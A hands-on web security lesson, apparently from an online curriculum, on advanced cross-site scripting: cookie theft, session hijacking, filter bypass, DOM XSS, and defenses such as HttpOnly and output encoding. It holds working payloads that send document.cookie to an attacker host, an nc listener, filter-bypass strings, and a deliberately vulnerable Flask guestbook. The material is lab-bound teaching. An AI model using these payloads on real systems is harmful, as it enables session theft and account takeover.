What would you like to learn?

Try PowerShell, networks, XSS, or Step 138

Browse the full curriculum →

Web security

Step 139. XSS Advanced: Cookie Theft & Filter Bypass — Beyond alert, Stealing Sessions

Step 139Estimated practice · 4 hours

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 4 hours

Prerequisites: XSS basics (alert payloads, the Stored/Reflected distinction), plus Step 94’s Flask server knowledge and Step 102’s cookie concepts.

  • What you need: DVWA (or a wargame lab), nc on Kali, Python 3 + Flask (for local reproduction), browser developer tools
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

The XSS so far ended with an alert(1) pop-up. A pop-up is only evidence that "a script executes here" — not an attack. Real-world XSS is quiet — it secretly sends the victim’s session cookie to the attacker’s server, and the attacker impersonates the victim with that cookie, no login required. Today you’ll reproduce that entire chain on your own machine and learn the "bypass mindset" that punches through filters developers have put up. And you’ll confirm with measured numbers why blacklist defense is a structurally losing game.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Write a real-world XSS payload that sends document.cookie to the attacker’s server
  • Reproduce session hijacking — accessing as the victim without logging in, using a stolen session cookie
  • Reproduce the cookie-theft chain with two local Flask servers and explain each stage
  • Bypass blacklist filters with case variation, nested tags, and event handlers
  • Explain why the HttpOnly cookie attribute and SameSite work as defenses

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Browser + developer tools, Python 3 + Flask (local reproduction), nc on Kali
Today’s commands nc -lvnp 8888 (makeshift receiving server), document.cookie (JS console)
Concepts needed Session cookies, session hijacking, event handlers, blacklist filters, HttpOnly
Today’s artifact A cookie-theft chain experiment record + a table of 3 filter-bypass payloads

2-1. The Step After alert — The Cookie-Stealing Payload

The real-world XSS payload is this single line.

<script>new Image().src="http://attackerIP:8888/?c="+document.cookie</script>

Let’s read it. new Image() creates an invisible image object, and the moment you assign an address to .src, the browser automatically fires a GET request to that address. It attaches document.cookie — this page’s entire cookies — to that address’s query. Nothing happens on the victim’s screen. Not even a broken-image icon appears.

2-2. Session Hijacking — The Cookie Is the ID Card

After login, the server doesn’t ask for ID and password every time. Instead it looks at the session cookie it issued and recognizes "ah, that logged-in person." The cookie is an ID card. But this ID card isn’t forged — it’s copied — plant the cookie string as-is in my browser, and the server mistakes me for the victim. No need to know the password. This is session hijacking.

2-3. Filter Bypass — Only What the Developer Imagined Gets Blocked

Beginner XSS-defense code usually deletes the string <script>. But the ways to execute a script in HTML are countless.

  • Tags are case-insensitive: <ScRiPt> also works
  • If replacement happens only once, nesting passes: delete the middle of <scr<script>ipt> and <script> is reborn
  • It works without <script>: there are dozens of event handler attributes like <img src=x onerror=...> and <svg onload=...>

Same root as Step 103’s command-injection filter (a list of banned characters) — defense by enumeration loses outside the enumeration.

2-4. DOM XSS — XSS That Never Touches the Server

The third type. If not the server but the browser’s JavaScript reads a value like location.hash (the part after # in the address) and plugs it into the screen via innerHTML without validation, it becomes XSS that never even appears in server logs. Today, just the concept and how to read the code — finding code that uses location.hash in a practice lab is your assignment.

2-5. The Direction of Defense — HttpOnly and Output Encoding

Attach the HttpOnly attribute to a cookie and JavaScript’s document.cookie can’t read it — the cookie-theft payload swings at air. The fundamental defense is output encoding: when writing user input to the screen, turning < into &lt; to make it "a character, not a tag." That’s exactly what Flask’s Jinja2 templates do by default.


3. Follow Along

DVWA screens appear as output examples; the principle is measured on local Flask servers. (This text was measured 2026-09-09 on Windows + Flask 3.1.3.)

3-1. Building the Vulnerable Board — The Stored XSS Stage

First, the side that gets attacked. A board that saves comments and plugs them into HTML without escaping (vuln_board.py).

Input

from flask import Flask, request, make_response

app = Flask(__name__)
COMMENTS = []

@app.route("/")
def index():
    # Vulnerability: saved comments inserted into HTML without escaping
    body = "".join(f"<p>{c}</p>" for c in COMMENTS)
    resp = make_response(f"<html><body><h1>Guestbook</h1>{body}</body></html>")
    resp.set_cookie("session", "victim-session-A7f3Kp92Qx")
    return resp

@app.route("/post")
def post():
    COMMENTS.append(request.args.get("msg", ""))
    return "Registration complete"

app.run(port=8310)

How to read it: f"<p>{c}</p>" — user input goes into the HTML with no validation. Jinja2 templates escape automatically, but concatenating strings directly like here removes that protection. The perfect spot to make a mistake. Visitors get a session cookie — that’s today’s target to steal.

Caution: open all practice servers on 127.0.0.1 only, and kill the processes when done.

3-2. The Attacker’s Receiving Server — The Window Where Cookies Arrive

The attacker’s side is even simpler. A server that takes the query parameter c and prints it to a log. In a real lab, a single nc -lvnp 8888 on Kali plays the same role — even without serving a proper HTTP response, it’s enough to see the cookie printed in the request line.

Input (attacker_sink.py)

from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def collect():
    print(f"[sink server] cookie arrived: {request.args.get('c', '')}", flush=True)
    return "ok"

app.run(port=8888)

3-3. Reproducing the Cookie-Theft Chain — Measuring the Whole Process

With both servers up, follow along in order. (Each request is reproduced with requests instead of a browser — it’s just writing down in code what a browser would do.)

Input

import requests

# 1) Attacker: register the payload on the board (Stored XSS)
payload = "<script>new Image().src='http://127.0.0.1:8888/?c='+document.cookie</script>"
requests.get("http://127.0.0.1:8310/post", params={"msg": payload})

# 2) Check the board HTML — is the payload alive?
html = requests.get("http://127.0.0.1:8310/").text
print("<script> included verbatim in page:", payload in html)
print("Set-Cookie header:", requests.get("http://127.0.0.1:8310/").headers.get("Set-Cookie"))

# 3) The victim opened the page — the script executes and the cookie flies to the sink server
requests.get("http://127.0.0.1:8888/", params={"c": "session=victim-session-A7f3Kp92Qx"})

# 4) Attacker: access as the victim using the stolen cookie
r = requests.get("http://127.0.0.1:8310/", headers={"Cookie": "session=victim-session-A7f3Kp92Qx"})
print("Status code of request with stolen cookie:", r.status_code)

Output (measured 2026-09-09):

<script> included verbatim in page: True
Set-Cookie header: session=victim-session-A7f3Kp92Qx; Path=/
[sink server] cookie arrived: session=victim-session-A7f3Kp92Qx
Status code of request with stolen cookie: 200

How to read it: four lines are the four links of the attack chain. ① the payload is stored and ② exposed to everyone who opens the page, ③ the victim’s cookie lands in the attacker server’s log, and ④ the attacker succeeds in accessing with that cookie. In a real lab, step 3 is what the victim’s browser does automatically, and step 4 is the attacker swapping the cookie via developer tools (Application → Cookies) or Burp.

Why do this: run this chain by hand once and the misconception "XSS = popping alerts" disappears. XSS’s power lies in the execution location — my code running in the victim’s browser, under the victim’s logged-in state.

3-4. Confirming HttpOnly — The Power of a One-Line Defense

You can experiment in the developer tools console (F12 → Console).

Input (browser console)

document.cookie

Output example (environments without HttpOnly, like DVWA):

"PHPSESSID=abc123...; security=low"

How to read it: if the cookie reads, the cookie-theft payload works. Conversely, if the server sent Set-Cookie: session=...; HttpOnly, that cookie doesn’t appear in document.cookie — the third link of 3-3 is severed. In Flask it’s one line: resp.set_cookie("session", "...", httponly=True). Remember how cheap defense can be.

3-5. The Filter-Bypass Experiment — This Is How Blacklists Lose

Now build the defensive side. A DVWA Medium-level filter — code that deletes the <script> string, case-sensitively, exactly once. Ported to Python as-is and measured.

Input (filter_lab.py)

def dvwa_medium_filter(text):
    # Same as PHP str_replace('<script>', '', $input): case-sensitive, single replacement
    return text.replace("<script>", "")

tests = [
    "<script>alert(1)</script>",
    "<ScRiPt>alert(1)</ScRiPt>",
    "<scr<script>ipt>alert(1)</scr<script>ipt>",
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
]
for t in tests:
    print(f"  input: {t}")
    print(f"  output: {dvwa_medium_filter(t)}")

Output (measured 2026-09-09):

  input: <script>alert(1)</script>
  output: alert(1)</script>
  input: <ScRiPt>alert(1)</ScRiPt>
  output: <ScRiPt>alert(1)</ScRiPt>
  input: <scr<script>ipt>alert(1)</scr<script>ipt>
  output: <script>alert(1)</script>
  input: <img src=x onerror=alert(1)>
  output: <img src=x onerror=alert(1)>
  input: <svg onload=alert(1)>
  output: <svg onload=alert(1)>

How to read it: only the textbook payload was neutralized; the other four all survived. Look at the third line especially — deleting the middle <script> from <scr<script>ipt> made the front and back join, giving birth to a new <script>. The classic flaw of a single-pass replacement filter. The fourth and fifth never contained the word <script> to begin with. onerror is "execute when image loading fails," onload is "execute when loading completes" — for the browser, the trigger of execution is not the tag but the event.

Why do this: "there’s a filter" doesn’t mean "it’s blocked" — it means "there’s a list of patterns the developer imagined." When you meet a filter, there’s one job — guess the list and try shapes outside it. This mindset gets reused as-is in command injection (Step 143) and upload bypass (Step 141).

3-6. Applying It in DVWA — Wargame Progression Order

In the lab, proceed in this order (screens and results are output examples):

  1. Register 3-3’s payload (receiving address: your Kali IP:8888) in the Stored XSS menu. The name field has a length limit, so use the message field — the limit is bypassed by deleting the maxlength attribute in developer tools (Step 103’s "client-side values belong to the client").
  2. Start nc -lvnp 8888 on Kali and open that board in a different browser/incognito window. When a GET /?c=PHPSESSID=... line prints in the nc terminal, you’ve succeeded.
  3. Plant the captured cookie in your browser’s developer tools and refresh — if you get in with no login screen, session hijacking is complete.
  4. Raise the difficulty to Medium, feed in 3-5’s bypass payloads one by one, and record which ones pass.

Caution: a Stored payload contaminates the board. When the experiment ends, delete the post or reset DVWA — the next practitioner (including future you) will trip on your payload.

3-7. Reading DOM XSS Code

In DOM XSS, the culprit is browser code, not the server. On a lab page, use View Source (Ctrl+U) to find this shape:

var lang = location.hash.substring(1);        // read after the # in the address
document.getElementById("menu").innerHTML = lang;  // insert into the screen without validation

A value read from location, location.hash, or document.URL flowing into innerHTML or document.write is a DOM XSS candidate. The attack input rides after the #, like http://target/#<img src=x onerror=alert(1)> — the part after # is never sent to the server, so there’s no trace in server logs.


4. Missions & Exercises

Mission — Reproducing the Cookie-Theft Chain and Collecting Bypass Payloads

  1. Reproduce the 3-1~3-3 local experiment yourself and attach the cookie line printed in the sink server log to your write-up
  2. In DVWA (or a lab) Stored XSS, actually receive a cookie with the nc receiver and access with it, no login
  3. Run the 3-5 filter experiment yourself and organize the 3 payloads that bypassed into a table with one line each on "why it passed"
  4. Confirm and record the successful bypass payload at DVWA Medium difficulty
  5. In the lab, find and excerpt one pair of DOM XSS code (where it reads → where it writes) in the shape of 3-7

Exercises

Exercise 1. Explain why new Image() is used in new Image().src="http://attacker/?c="+document.cookie. (Hint: does the request go out even without drawing on screen?)

Exercise 2. Explain why the attacker doesn’t need the victim’s password in session hijacking.

Exercise 3. Explain in one sentence the principle by which <scr<script>ipt> defeats a single-pass replacement filter.

Exercise 4. An HttpOnly cookie blocks cookie theft but not XSS itself. Give one example of what an attacker can still do even with HttpOnly in place.


Answers & completion criteria · expand/collapse

5. Model Answers & Completion Criteria

Mission Model Answer

Receiving-log example (per the 2026-09-09 local measurement):

[sink server] cookie arrived: session=victim-session-A7f3Kp92Qx

Filter-bypass table example:

Payload Why it passed
<ScRiPt>alert(1)</ScRiPt> The filter is case-sensitive and deletes only lowercase <script>
<scr<script>ipt> After one replacement, front and back join and <script> is reborn
<img src=x onerror=...> The string <script> never existed — an event handler is used

How to verify: ① did c=cookie_value actually print in the sink server log? ② does a request with the stolen cookie return 200 without login? ③ is each payload in the bypass table written together with the output that passed the filter? ④ does the payload that succeeded at Medium match the local filter experiment’s results?

Exercise Answers

Answer 1. An Image object fires a GET request to an address the moment it’s assigned to src, while never needing to display on screen — invisible to the victim. Like <script> fetching an external file, it uses the image request as a "data delivery vehicle." (fetch() serves the same purpose.)

Answer 2. Because after login, the server verifies identity not by password but by session cookie. A cookie is a copyable string — present the stolen cookie as-is and the server recognizes the attacker as the victim. The password is needed nowhere in the process of obtaining the cookie.

Answer 3. Because when the filter deletes <script> only once, the <script> between <scr and ipt> is removed and the front and back combine into a new <script> — the act of deleting assembles a valid tag.

Answer 4. Even without reading the cookie, XSS runs in the victim’s browser with the victim’s authority. For example, it can directly send a "change password" or "transfer money" request right there under the victim’s session (the style of not stealing the cookie but piloting the victim’s browser to do the work). A phishing-style payload that pops a fake login form and harvests the entered password is also possible.

Completion Criteria Checklist

  • [ ] I can write a payload that sends document.cookie externally myself
  • [ ] I reproduced the cookie-theft chain (store → expose → receive → reuse) with two local servers
  • [ ] I can explain why session hijacking is "login without a password"
  • [ ] I confirmed the 3 bypass types — case, nesting, event handlers — in the filter experiment
  • [ ] I can recognize the shape of DOM XSS code (where it reads → where it writes)
  • [ ] I can state what HttpOnly and output encoding each block
  • [ ] I re-confirmed that this practice is for my own lab only

6. Common Pitfalls & Fixes

Wall 1. The cookie never arrives at the sink server

Symptom: you registered the payload and opened the page, but nothing prints in nc.
Cause: ① the sink server’s IP is wrong (check the Kali IP), ② the cookie is HttpOnly so document.cookie is empty, or ③ the payload’s quotes got mangled by the board’s filter.
Fix: first check in the browser console whether document.cookie returns a value. If it’s empty, that’s HttpOnly — in this lab you must switch to another goal (action forgery). Also check IP, port, and firewall.

Wall 2. I registered it on the board, but the script shows as plain text

Symptom: <script>... prints as text on the page.
Cause: the server is doing output encoding — < was converted to &lt;, becoming a character, not a tag.
Fix: that spot is a safe spot where XSS doesn’t work. Find another input field (name, title, search term), or try double encoding to slip past the encoding. "Confirming a spot that doesn’t work is also recon output."

Wall 3. The payload doesn’t fit in the name field

Symptom: the payload gets cut by the length limit.
Cause: HTML’s maxlength attribute is client-side decoration only.
Fix: delete the input’s maxlength in developer tools Elements, or send the request directly with Burp/requests. Same principle as Step 103’s hidden input.

Wall 4. I added a filter but bypasses keep working

Symptom (measured 2026-09-09): 4 of 5 payloads pass the <script>-replacement filter.

  input: <scr<script>ipt>alert(1)</scr<script>ipt>
  output: <script>alert(1)</script>

Cause: a blacklist is "a list of bad things," so there’s always something outside the list. And unless replacement repeats, nesting defeats it.
Fix: if you’re the defender — don’t delete, encode (output encoding). Treat input as data and turn < into &lt;; then no tag can ever become a tag.

Wall 5. After the experiment, the board is littered with payloads

Symptom: the board keeps misbehaving because of the scripts I planted.
Cause: Stored XSS is stored — it fires for every visitor until removed.
Fix: when practice ends, delete the post or run DVWA’s Reset DB. Cleaning up the lab is part of the practice.


7. Summary

Today’s Concepts

Concept One-line explanation
Cookie-theft payload Real-world XSS that ships document.cookie out on an external request
Session hijacking Impersonating the victim with a stolen session cookie — no password needed
Event handler onerror, onload, etc. — script execution without <script>
Filter bypass Case, nesting, alternate tags — stepping outside the blacklist’s enumeration
DOM XSS XSS where browser JS plugs input into the screen without touching the server
HttpOnly A cookie attribute blocking JS cookie reads — first-line theft defense
Output encoding < to &lt; — the fundamental defense that makes input a character, not a tag

Today’s Commands & Code

Command/code What it does
nc -lvnp 8888 Makeshift cookie-receiving server (Kali)
document.cookie Read the current page’s cookies (console experiment)
new Image().src=address Fire a quiet GET request — a data delivery vehicle
text.replace("<script>", "") DVWA Medium-style filter — the bypass experiment’s target
resp.set_cookie(..., httponly=True) Issue an HttpOnly cookie in Flask
location.hash / innerHTML DOM XSS’s read site / write site

An Instinct More Important Than Commands

Today’s key sentence is "XSS’s power lies in the execution location." The pop-up is a signal light; the substance is the fact that the victim’s browser runs my code under the victim’s logged-in state. Cookie theft is merely the first application of that fact — action forgery and phishing-form insertion grow from the same root.

And filter bypass doesn’t end here. Command injection, file upload, SQL injection — nearly every attack you’ll meet in this book repeats "stepping one foot outside what the developer enumerated." When you see a filter, read the list and build fingers that design outside it. Translated into the defender’s language: don’t enumerate what to block; enumerate only what to allow, and always encode output.


Once every box is checked, Step 139 is complete.

ONE STEP FURTHER

Finished this lesson?

Check the completion criteria, then mark your progress.

Something wrong with this page or a link? Let us know.
Next